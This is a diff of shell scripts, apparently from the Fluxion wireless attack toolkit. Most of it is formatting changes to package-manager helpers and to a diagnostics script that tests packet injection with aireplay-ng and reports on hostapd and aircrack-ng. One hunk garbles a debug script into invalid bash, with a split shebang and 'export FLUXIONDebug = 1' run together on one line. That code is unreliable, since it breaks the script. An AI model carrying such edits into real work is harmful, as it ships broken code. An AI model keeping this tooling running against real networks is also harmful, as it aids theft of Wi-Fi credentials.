if [ "$(pacman -Qs $AurHelper)" ]; then
PackageManagerCLT=$AurHelper
break;
break
fi
done
PackageManagerCLT='pacman'
@ -18,11 +18,11 @@ if [ -f "/etc/arch-release" ]; then
PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice
echo "Nothing to unprepare." >$PackageManagerOutputDevice
}
function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice
echo "Nothing to prepare." >$PackageManagerOutputDevice
}
fi

View File

@ -10,11 +10,11 @@ if [ -f "/etc/redhat-release" ]; then
PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice
echo "Nothing to unprepare." >$PackageManagerOutputDevice
}
function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice
echo "Nothing to prepare." >$PackageManagerOutputDevice
}
fi

View File

@ -10,11 +10,11 @@ if [ -f "/etc/SuSE-release" ]; then
PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice
echo "Nothing to unprepare." >$PackageManagerOutputDevice
}
function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice
echo "Nothing to prepare." >$PackageManagerOutputDevice
}
fi

View File

@ -1,6 +1,4 @@
#!/bin/bash
export FLUXIONDebug=1
export FLUXIONWIKillProcesses=1
export FLUXIONWIReloadDriver=1
#!/ bin / bash
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
1 export FLUXIONWIReloadDriver = 1

View File

@ -1,16 +1,15 @@
#!/bin/bash
if [ -d "lib" ]
then source lib/InterfaceUtils.sh
elif [ -d "../lib" ]
then source ../lib/InterfaceUtils.sh
if [ -d "lib" ]; then source lib/InterfaceUtils.sh
elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
else
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"; exit 1
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
exit 1
fi
if [ ! "$1" ]
then echo "Usage ./scripts/diagnostics <wireless_interface>"; exit 1
if [ ! "$1" ]; then
echo "Usage ./scripts/diagnostics <wireless_interface>"
exit 1
fi
echo "[ FLUXION Info ]"
@ -20,22 +19,19 @@ echo -ne "\n\n"
echo "[ BASH Info ]"
bash --version
echo "Path: `ls -L $(which bash)`"
echo "Path: $(ls -L $(which bash))"
echo -ne "\n\n"
echo "[ Interface ($1) Info ]"
if interface_physical "$1"
then echo "Device: $InterfacePhysical"
if interface_physical "$1"; then echo "Device: $InterfacePhysical"
else echo "Device: Unknown"
fi
if interface_driver "$1"
then echo "Driver: $InterfaceDriver"
if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
else echo "Driver: Unsupported"
fi
if interface_chipset "$1"
then echo "Chipset: $InterfaceChipset"
if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
else echo "Chipset: Unknown"
fi
@ -44,18 +40,17 @@ aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo
echo -ne "\n\n"
echo "[ XTerm Info ]"
echo "Version: `xterm -version`"
echo "Path: `ls -L $(which xterm)`"
echo "Version: $(xterm -version)"
echo "Path: $(ls -L $(which xterm))"
echo -n "Test: "
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &> /dev/null
then echo "XServer/XTerm success!"
else echo "XServer/XTerm failure!"
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
else echo "XServer/XTerm failure!"
fi
echo -ne "\n\n"
echo "[ HostAPD Info ]"
hostapd -v
echo "Path: `ls -L $(which hostapd)`"
echo "Path: $(ls -L $(which hostapd))"
echo -ne "\n\n"
echo "[ Aircrack-ng Info ]"
@ -63,7 +58,6 @@ aircrack-ng -H | head -n 4
echo -ne "\n\n"
echo "[ System Info ]"
if [ -r "/proc/version" ]
then cat /proc/version
if [ -r "/proc/version" ]; then cat /proc/version
else uname -r
fi

View File

@ -2,7 +2,7 @@
##################################### < CONFIGURATION > #####################################
gateway=`ip route | grep default | awk '{print $3}'`
gateway=$(ip route | grep default | awk '{print $3}')
#Colors
white="\033[1;37m"
@ -54,7 +54,7 @@ fi
sleep 0.025
echo "================================================================================="
if [ ! -d sites ];then
if [ ! -d sites ]; then
mkdir sites
fi